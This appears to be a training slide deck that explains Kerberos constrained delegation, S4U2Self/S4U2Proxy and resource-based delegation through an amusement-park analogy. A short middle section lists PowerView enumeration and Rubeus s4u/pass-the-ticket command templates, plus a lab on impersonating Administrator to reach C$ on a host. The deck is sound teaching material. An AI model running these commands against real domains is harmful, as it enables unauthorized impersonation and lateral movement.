Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Constrained Delegation – S4U2Proxy

- The waitress goes to the bar with the ticket

Constrained Delegation – S4U2Proxy

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender

Beer@Luna Bar

```
Zepmh Jvsq> 8383;9 =>44 EQ
Zepmh Yrxmp> 8383;9 ;>44 TQ
Jpekw> JSV[EVHEFPI, VIRI[EFPI
Reqi> Epmgi Zergi
HSF> 737394
Limklx> 52:9q
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,
Lett}1Lsyv
```

Constrained Delegation – S4U2Proxy

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Constrained Delegation – S4U2Proxy

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket and validates it
- The bar tender serves the waitress a beer for Alice

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Constrained Delegation – S4U2Proxy

- The waitress serves Alice a burger and a beer

Constrained Delegation – S4U2Proxy

Constrained Delegation – S4U2Proxy

- msDS-AllowedToDelegateTo attribute
- Requires the SeEnableDelegation privilege
  - Only domain admins have that by default

Some visitors come just for the bistro

- Luna Bistro got two Michelin stars
- Not all visitors want other rides
- The ticket office is a nuisance for them
- They want to pay at the bistro

Bill is smart

- Bill introduces a new concept: Constrained Delegation – S4U2Self
- Operators can obtain a ride ticket for any visitor to themselves
- The ticket is NON-FORWARDABLE

Bill is smart

- Under S4U2Self, the visitors have to be existing members of Luna Club
- The operators should authenticate them first using the visitors' secret code
  - We will discuss that protocol later

Lunch time!

- Alice goes to the bistro and wants to order a burger and a beer
- The burger is served at the bistro and the beer is served at the bar

Constrained Delegation – S4U2Self

- Alice orders a burger and a beer
- Alice pays at the bistro

Constrained Delegation – S4U2Self

- The waitress goes to the ticket office on behalf of Alice

Constrained Delegation – S4U2Self

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and requests a bistro ticket for Alice

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Mvob Cjtusp
Hspvqt; Ljudifo, Cjtusp, Tubgg
```

Constrained Delegation – S4U2Self

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and requests a bistro ticket for Alice
- The ticket office decrypts the day pass and validates it

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Constrained Delegation – S4U2Self

- The ticket office creates a bistro ticket for Alice

Day Pass

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Constrained Delegation – S4U2Self

- The ticket office creates a bistro ticket for Alice
- The ticket office encrypts the ticket with the bistro's key

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= QRQ0IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Constrained Delegation – S4U2Self

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= QRQ0IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Constrained Delegation – S4U2Self

- The waitress decrypts Alice's bistro ticket

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Constrained Delegation – S4U2Self

- The waitress decrypts Alice's bistro ticket and validates it

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Constrained Delegation – S4U2Self

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and Alice's bistro ticket

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Mvob Cjtusp
Hspvqt; Ljudifo, Cjtusp, Tubgg
```

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= QRQ0IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Constrained Delegation – S4U2Self

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and Alice's bistro ticket
- The ticket office decrypts the day pass and validates it

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= QRQ0IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Constrained Delegation – S4U2Self

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is NON-FORWARDABLE
- The ticket office rejects the request

Day Pass

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Constrained Delegation – S4U2Self

- The waitress serves Alice a burger
- The waitress cannot serve Alice a beer

Bill is smart

- Bill introduces a new concept to S4U2Self: TrustedToAuthForDelegation
- Operators that have TrustedToAuthForDelegation set can obtain a FORWARDABLE ride ticket for any visitor to themselves

Lunch time!

- Alice goes to the bistro and wants to order a burger and a beer
- The burger is served at the bistro and the beer is served at the bar

TrustedToAuthForDelegation

- Alice orders a burger and a beer
- Alice pays at the bistro

TrustedToAuthForDelegation

- The waitress goes to the ticket office on behalf of Alice

TrustedToAuthForDelegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and requests a bistro ticket for Alice

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Mvob Cjtusp
Hspvqt; Ljudifo, Cjtusp, Tubgg
```

TrustedToAuthForDelegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and requests a bistro ticket for Alice
- The ticket office decrypts the day pass and validates it

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

TrustedToAuthForDelegation

- The ticket office creates a bistro ticket for Alice
- The bistro is TrustedToAuthForDelegation, so the ticket is forwardable

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

TrustedToAuthForDelegation

- The ticket office creates a bistro ticket for Alice
- The bistro is TrustedToAuthForDelegation, so the ticket is forwardable
- The ticket office encrypts the ticket with the bistro's key

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

TrustedToAuthForDelegation

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

TrustedToAuthForDelegation

- The waitress decrypts Alice's bistro ticket

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

TrustedToAuthForDelegation

- The waitress decrypts Alice's bistro ticket and validates it

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

TrustedToAuthForDelegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and Alice's bistro ticket

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Mvob Cjtusp
Hspvqt; Ljudifo, Cjtusp, Tubgg
```

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

TrustedToAuthForDelegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents her own day pass and Alice's bistro ticket
- The ticket office decrypts the day pass and validates it

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

TrustedToAuthForDelegation

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is FORWARDABLE

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

TrustedToAuthForDelegation

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is FORWARDABLE
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

TrustedToAuthForDelegation

- The ticket office creates a bar ticket for Alice

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

TrustedToAuthForDelegation

- The ticket office creates a bar ticket for Alice
- The ticket office encrypts the bar ticket

Beer@Luna Bar

```
Zepmh Jvsq> 8383;9 =>44 EQ
Zepmh Yrxmp> 8383;9 ;>44 TQ
Jpekw> JSV[EVHEFPI, VIRI[EFPI
Reqi> Epmgi Zergi
HSF> 737394
Limklx> 52:9q
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,
Lett}1Lsyv
```

Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

TrustedToAuthForDelegation

- The waitress goes to the bar with the ticket

TrustedToAuthForDelegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender

Beer@Luna Bar

```
Zepmh Jvsq> 8383;9 =>44 EQ
Zepmh Yrxmp> 8383;9 ;>44 TQ
Jpekw> JSV[EVHEFPI, VIRI[EFPI
Reqi> Epmgi Zergi
HSF> 737394
Limklx> 52:9q
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,
Lett}1Lsyv
```

TrustedToAuthForDelegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

TrustedToAuthForDelegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket and validates it
- The bar tender serves the waitress a beer for Alice

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

TrustedToAuthForDelegation

- The waitress serves Alice a burger and a beer

TrustedToAuthForDelegation is dangerous

- If the waitress wants to have drink, she can impersonate Alice whether she is at the bistro or not
- From the bar's perspective, the bistro is now as powerful as the ticket office

TrustedToAuthForDelegation

TrustedToAuthForDelegation

- TrustedToAuthForDelegation flag
- Requires the SeEnableDelegation privilege
  - Only domain admins have that by default
- Also called "protocol transition"

- Credit to Benjamin Delpy (@gentilkiwi) and Ben Campbell (@Meatballs__) for weaponization

The toolset

- Identifying computers/users with TrustedToAuthForDelegation:
  - PowerView or SharpView:

```
Get-DomainComputer -TrustedToAuth
Get-DomainUser -TrustedToAuth
```

- Identifying computers/users with msDS-AllowedToDelegateTo:
  - PowerView or SharpView:

```
Get-DomainComputer -LDAPFilter "(msDS-AllowedToDelegateTo=*)"
Get-DomainUser -LDAPFilter "(msDS-AllowedToDelegateTo=*)"
```

The toolset

- Invoking S4U2Self only
  - `Rubeus.exe s4u /user:username /domain:domain_name /[rc4 OR /aes256]:key /impersonateuser:user_to_impersonate`
  - `Rubeus.exe s4u /ticket:[Base64_blob OR path_to_file] /impersonateuser:user_to_impersonate`
- Invoking S4U2Proxy only
  - `Rubeus.exe s4u /user:username /domain:domain_name /[rc4 OR /aes256]:key /tgs:[Base64_blob OR path_to_file] /msdsspn:name_of_target_service [/altservice:alternative_service_class]`
  - `Rubeus.exe s4u /ticket:[Base64_blob OR path_to_file] /tgs:[Base64_blob OR path_to_file] /msdsspn:name_of_target_service [/altservice:alternative_service_class]`
- Describing a ticket
  - `Rubeus.exe describe /ticket:[Base64_blob OR path_to_file]`

The toolset

- Pass the ticket:
  - `Rubeus.exe ptt /ticket:[Base64_blob OR path_to_file]`

- Performing a full S4U attack:
  - `Rubeus.exe s4u /user:username /domain:domain_name /[rc4 OR /aes256]:key /impersonateuser:user_to_impersonate /msdsspn:name_of_target_service [/altservice:alternative_service_class] [/ptt]`

  - `Rubeus.exe s4u /ticket:[Base64_blob OR path_to_file] /impersonateuser:user_to_impersonate /msdsspn:name_of_target_service [/altservice:alternative_service_class] [/ptt]`

The toolset

- Cleaning up – purging all tickets from current session:
  - `Rubeus.exe purge`

- If the tickets still seem to be in memory, you can do one of two things:
  - Log off and on again
  - Perform the next exercise in a bogus runas /netonly session:

```
runas /netonly /user:a\a powershell.exe
[enter a bogus password]
```

It is recommended to perform all exercises in a bogus runas /netonly session

Lab: Classic S4U

- **Objective**: Abuse the existing delegation configuration from Service B to Service C to compromise the host of Service C
- **Tasks:**
  - Enumerate the delegation configuration of Service B
  - Invoke S4U2Self to obtain a service ticket for Administrator to Service B. Use the TGT obtained in Lab 1
  - Invoke S4U2Proxy to obtain a service ticket for Administrator to Service C using the service ticket obtained in the previous step
  - Perform a full S4U attack in one step, and modify the service class to "cifs"
  - Pass the ticket and gain access to C$ on Service C

Bill is smart

- Bill doesn't want the operators to depend on him every time they need to set up delegation
- Bill introduces a new concept: **"Resource Based Constrained Delegation"**
- Bill allows the operators to tell the ticket office who they trust to delegate to them
  - This is "incoming" delegation

Bill is smart

- The bar decides to trust the bistro for delegation
- The waitress will be allowed to invoke S4U2Proxy to request tickets on behalf of visitors to the bar
- The waitress will still have to present a ticket for the visitor to the bistro as evidence

Bill's dilemma

- Bill wants to empower operators through RBCD
- If operators can't modify TrustedToAuthForDelegation for themselves, then RBCD won't work when visitors pay at the ride
- S4U2Self will produce NON-FORWARDABLE tickets
- If operators can modify TrustedToAuthForDelegation for themselves, classic constrained delegation will be compromised

Bill's solution

- Bill decides that S4U2Proxy for RBCD will not require FORWARDABLE tickets
- Operators will be able to invoke it with NON-FORWARDABLE tickets obtained through S4U2Self
- Classic constrained delegation is not impacted

Lunch time!

- Alice goes to the bistro and wants to order a burger and a beer
- The burger is served at the bistro and the beer is served at the bar

Resource-based constrained delegation

- Alice orders a burger and a beer
- Alice pays at the bistro

Resource-based constrained delegation

- The waitress goes to the ticket office on behalf of Alice

Resource-based constrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents **her own** day pass and requests a bistro ticket for Alice

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Mvob Cjtusp
Hspvqt; Ljudifo, Cjtusp, Tubgg
```

Resource-based constrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents **her own** day pass and requests a bistro ticket for Alice
- The ticket office decrypts the day pass and validates it

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Resource-based constrained delegation

- The ticket office creates a bistro ticket for Alice

Day Pass

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Resource-based constrained delegation

- The ticket office creates a bistro ticket for Alice
- The ticket office encrypts the ticket with the bistro's key

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= QRQ0IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Resource-based constrained delegation

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= QRQ0IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Resource-based constrained delegation

- The waitress decrypts Alice's bistro ticket

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Resource-based constrained delegation

- The waitress decrypts Alice's bistro ticket and validates it

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Resource-based constrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents **her own** day pass and Alice's bistro ticket

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Mvob Cjtusp
Hspvqt; Ljudifo, Cjtusp, Tubgg
```

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= QRQ0IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Resource-based constrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents **her own** day pass and Alice's bistro ticket
- The ticket office decrypts the day pass and validates it

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= QRQ0IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Resource-based constrained delegation

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is NON-FORWARDABLE

Day Pass

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Resource-based constrained delegation

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is NON-FORWARDABLE
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar through RBCD

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Resource-based constrained delegation

- The ticket office creates a bar ticket for Alice

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Resource-based constrained delegation

- The ticket office creates a bar ticket for Alice
- The ticket office encrypts the bar ticket

Beer@Luna Bar

```
Zepmh Jvsq> 8383;9 =>44 EQ
Zepmh Yrxmp> 8383;9 ;>44 TQ
Jpekw> JSV[EVHEFPI, VIRI[EFPI
Reqi> Epmgi Zergi
HSF> 737394
Limklx> 52:9q
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,
Lett}1Lsyv
```

Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Resource-based constrained delegation

- The waitress goes to the bar with the ticket

Resource-based constrained delegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender

Beer@Luna Bar

```
Zepmh Jvsq> 8383;9 =>44 EQ
Zepmh Yrxmp> 8383;9 ;>44 TQ
Jpekw> JSV[EVHEFPI, VIRI[EFPI
Reqi> Epmgi Zergi
HSF> 737394
Limklx> 52:9q
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,
Lett}1Lsyv
```

Resource-based constrained delegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket

Beer@Luna Bar

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
